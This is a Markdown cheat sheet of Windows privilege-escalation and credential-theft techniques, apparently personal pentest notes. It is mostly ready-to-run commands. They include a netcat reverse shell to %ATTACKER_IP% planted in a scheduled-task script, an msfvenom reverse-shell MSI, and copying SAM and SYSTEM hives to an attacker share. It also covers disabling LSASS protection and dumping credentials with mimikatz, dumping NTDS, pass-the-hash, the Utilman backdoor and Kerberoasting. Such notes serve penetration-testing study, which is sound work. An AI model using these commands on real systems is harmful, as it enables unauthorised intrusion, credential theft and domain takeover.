# Windows Privilege Escalation

## Links

* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)
* [JAWS](https://github.com/411Hall/JAWS)
* [winpeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
* [privescheck](https://github.com/itm4n/PrivescCheck)
* [windows exploit suggester](https://github.com/bitsadmin/wesng)
* [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)
* [Privilege Escalation Runbook](https://xorond.com/posts/2021/04/windows-local-privilege-escalation/)

## Account Types

* __Administrator__ local & domain
* __Standard__ local & domain
* __Guest__
* __System__, local system, final escalation
* __Local Service__, got anonymous connections over network.
* __Network Service__, default service account, authentication via network

## Enumeration

### Users & Groups

```sh
whoami /priv
net users
net users <username>
net localgroup
net localgroup <groupname>
query session
qwinsta
```

### Files

* [powershell](../../../../enumeration/windows/powershell.md)

### System

```sh
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
* Installed software, check for existing exploits
```sh
wmic product get name,version,vendor
```
* Services
```sh
wmic service list brief | findstr  "Running"
```

### Logfiles and Registry

```sh
cmdkey /list
```
* Keys containing passwords
```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

### AD Credentials

* Check AD's NTDS (configuration database), SYSVOL (policy distribution through the domain)
```sh
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
```

#### NTDS

* Check user description of AD users
* NTDS consists of three tables
    * Schema
    * Link
    * Data type
* Located under `C:\Windows\NTDS`
* File is locked by AD at runtime
* A System Bootkey is need to dump the NTDS

## Exploit

* __Use found credentials__
```sh
runas /savecred /user:<domain\user> reverse_shell.exe
```

### DLL Hijacking

* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)

### Unquoted Service Path

* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)

### Token Impersonation

* `SeImpersonatePrivilege` is necessary, check via `whoami priv`
*  Hot Potato is best before Server 2019 and Windows 10 (version 1809)
* [Potatos](../../../../exploit/windows/docs/potatoes.md)
* [itm4n](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)

### Schedules Tasks

* `schtasks` and `schtasks /query /tn %TASK_NAME% /fo list /v`
* `Autoruns64.exe`

### MSI Elevated Installer

* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)


### accesschk64 Permissions

* Check access to files and folders
```sh
accesschk64 -wvu "file.exe"
```
* If permission `SERVICE_CHANGE_CONFIG` is set
```sh
 sc config <service> binpath="net localgroup administrators user /add"
```
* [Service escalation](../../../../exploit/windows/service_escalation/service_escalation.md)
* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.

#### accesschk64 for Services

```sh
accesschk64 -qlc "service.exe"
```
* If permission `SERVICE_ALL_ACCESS` is set it is configurable upload a reverse shell
```sh
icacls C:\Windows\Temp\shell.exe /grant Everyone:F
```
* Reconfigure and restart service
```sh
sc config TheService binPath= "C:\Path\to\shell.exe" obj= LocalSystem
sc stop TheService
sc start TheService
```

### Startup Application

* Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`  

### Password Mining

* Set up metasploit
```sh
use auxiliary/server/capture/http_basic
set srvport 7777
set uripath pass
```
* Visit site on target

### Unattended Windows Installation

* Investigate the following paths to potentially find user credentials
```sh
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
* Watch out for the `<Credentials>` tags

### Powershell History file

```sh
Get-Content %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

### Internet Information Services (IIS)

* Default web server on windows
* Paths containing credentials are the following
```sh
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```

### Putty 

* Saved proxy password credentials may be found via
```sh
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s
```

### schtask and icacls

* Check `schtasks /query /tn %TASK_NAME% /fo list /v`
* Check script for scheduled tasks, `F` means full access
```sh
icacls <PathToScript>
```
* Put payload inside the script
```sh
echo "C:\tmp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" > <PathToSript>
```
* Run the task
```sh
schtasks /run /tn <taskname>
```

### Always Installs Elevated

* These should be set
```sh
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

* Craft `*.msi` file with a payload
```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi
```

* Upload and execute via
```sh
msiexec /quiet /qn /i C:\Windows\Temp\wizard.msi
```

### Service Misconfiguration

* Check services, watch out for `BINARY_PATH_NAME` and `SERVICE_START_NAME`
```sh
sc qc apphostsvc
```
* Check found permissions via
```sh
icacls <BINARY_PATH_NAME>
```
* If the service binary path is writeable move the payload to its path and grant permissions
```sh
icacls <Payload_Service.exe> /grant Everyone:F
```
```sh
sc stop <service>
sc start <service>
```
* Catch the reverse shell service

Others ways are:
* Discretionary Access Control (DACL) can be opened via right click on the service and go to properties
* All services are stored under `HKLM\SYSTEM\CurrentControlSet\Services\`

### Unquoted Service Path

* If `BINARY_PATH_NAME` spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.
* A created directory at install time inherits the permissions from its parent. Check it via
```sh
icacls <directory>
```
* Use `service-exe` payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path
* Set permissions
```sh
icacls C:\Path/to/service.exe /grant Everyone:F
```

### Permissions

* [priv2admin](https://github.com/gtworek/Priv2Admin)
* `whoami /priv`

#### SeBackup / Restore

* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened
* Download `SAM` and `System` hashes
```sh
reg save hklm\system C:\Windows\Temp\system.hive
reg save hklm\sam    C:\Windows\Temp\sam.hive
```
* or
```sh
copy C:\Windows\System32\config\sam \\ATTACKER_IP\
```
* Start smb server on attack machine
```sh
copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
copy C:\Windows\Temp\system.hive \\ATTACKER_IP\
```

* Dump the hashes
```sh
secretsdump.py -sam sam.hive -system system.hive LOCAL
```
* or meterpreter on target
```sh
hashdump
```

* Use pass the hash to login 
```sh
psexec.py -hashes <hash> administrator@$TARGET_IP
```

#### SeTakeOwnership

* If `SeTakeOwnership` is set one can take ownership of every file or service.
```sh
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <user>:F
copy cmd.exe utilman.exe
```
* Log out, on the Login screen click on `Ease of Access`

#### SeImpersonate / SeAssignPrimaryToken

* It is a rouge potato
* Execute process as another user
* Service accounts operate through impersonation
* Check privileges via `whoami /priv` for these 
* __Object Exporter Identifier (OXID)__ is executed as via DCOM as a resolver on port 135 to socket of attacker
```sh
socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
```
* Catch the potatoe executable from target via netcat


### Volume Shadow Copy Service

* Take a look at the volumes at
```sh
vssadmin list shadows
```

* Copy `sam` and `system` from the shadow copy
```sh
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
```

### Dump LSASS

* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`
* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`

* Extract the dump via mimikatz
```sh
privilege::debug
sekurlsa::logonpasswords
```

### LSASS Protection

__The bypass is needed most of the time in order to dump passwords__
* If the dump cannot be created because it is protected change `RunAsPPL` DWORD to `0` under
```sh
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
```

* Alternatively, use mimikatz
```sh
privilege::debug
!+
!processprotect /process:lsass.exe /remove
```
* `+!` calls `mimidrv.sys`, __therefore mimikatz has to be executed inside the same directory the this file lies__

### Windows Credential Manager

* Can be found via `Control Pane` -> `User Accounts` -> `Credential Manager`
* Alternatively, command line can be used
```sh
vaultcmd /list
vaultcmd /listproperties:"Web Credentials"
vaultcmd /listcreds:"web credentials"
```

* Extract the password via powershell script [Get-WebCredentials from nishang](https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1)
```sh
powershell -ex bypass
Get-WebCredentials
```

* Via mimikatz if administrative permissions have been gained
```sh
privilege::debug
sekurlsa::credman
```

### Ntdsutil

* If administrative permissions on the DC have been gained this can be done
* Used to maintain the AD database, delete objects, snapshotting, set Directory Service Restore Mode (DSRM) 


#### Locally extracting ntds.dit

* This can be done to gather the system boot key
* No AD credentials are needed
* Three files are needed
    * C:\Windows\NTDS\ntds.dit
    * C:\Windows\System32\config\SYSTEM
    * C:\Windows\System32\config\SECURITY

* Locally dumping all three needed file is done via
```sh
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\ntds' q q"
```

* Use `secretsdump` to extract `ntds.dit`
```sh
secretsdump.py -security ./SECURITY -system ./SYSTEM -ntds ./ntds.dit local
```

#### Remotely dumping ntds

* Needs the following AD credentials 
    * Replicating Directory Changes
    * Replicating Directory Changes All
    * Replicating Directory Changes in Filtered Set

* Mimikatz or impacket can be used to gain credentials
* Impacket's secretsdump.py via
```sh
secretsdump.py -just-dc <domain>/<AD_Admin_User>@$DC_IP
secretsdump.py -just-dc-ntlm <domain>/<AD_Admin_User>@$DC_IP
```

### Local Administration Password Solution (LAPS)

* This is possible if the user which credentials we posses is member of the group to make password changes
* Replaces GPP, see below

* There are two interesting attributes
    * __ms-mcs-AdmPwd__ contains plain text password of the local Administrator
    * __ms-mcs-AdmPwdExpirationTime__ contains the expiration date of the admin password
* __admpwd.dll__ is used to update the password inside __ms-mcs-AdmPwd__
    * If LAPS is enabled the dll can be found in `C:\Program Files\LAPS\CSE`

* List the cmdlets for LAPS
```sh
Get-Command *AdmPwd*
```
* Find the Organisational Unit with extended rights and take a look at the group under `ExtendedRightsHolder` in the output
```sh
Find-AdmPwdExtendedRights -Identity <OU>
```
* Enumerate which hosts have LAPS enabled
* Impersonate the user and execute the following which displays the password
```sh
Get-AdmPwdPassword -ComputerName <targethost>
```

* Use the property name displayed under `ExtendedRightsHolder` to enumerate groups and their users
```sh
net groups <ExtendedRightsHolder>
net user <GroupMemberUsername>
```

#### Group Policy Preferences

* Provisions administrational groups through the domain via SYSVOL
* Distribution is done through XML files on SYSVOL. These contain a password encrypted with [the published private key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN)
* Use [Powersploit's Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1) to decrypt it


### Kerberoasting

* Inital (low level) credentials are needed
* __Service Principal Name (SPN)__ account must be known, e.g. from web IIS user or SQL users
```sh
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user>
```

* Take a look at `Name` in the output and use it to query a TGS ticket 
```sh
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user> -request-user <SPN>
```

* Crack the kerberos hash
```sh
hashcat -m 13100 -a0 hash.txt --wordlist <wordlist>
```

### AS-REP Roasting

* `Do not require Kerberos pre-authentication` must be set on the AD user's account login settings. A password is used instead
* A list of potential users with this configured setting should be gathered

```sh
GetNPUsers.py -dc-ip $DC_IP <domain>/ -usersfile users.txt
```
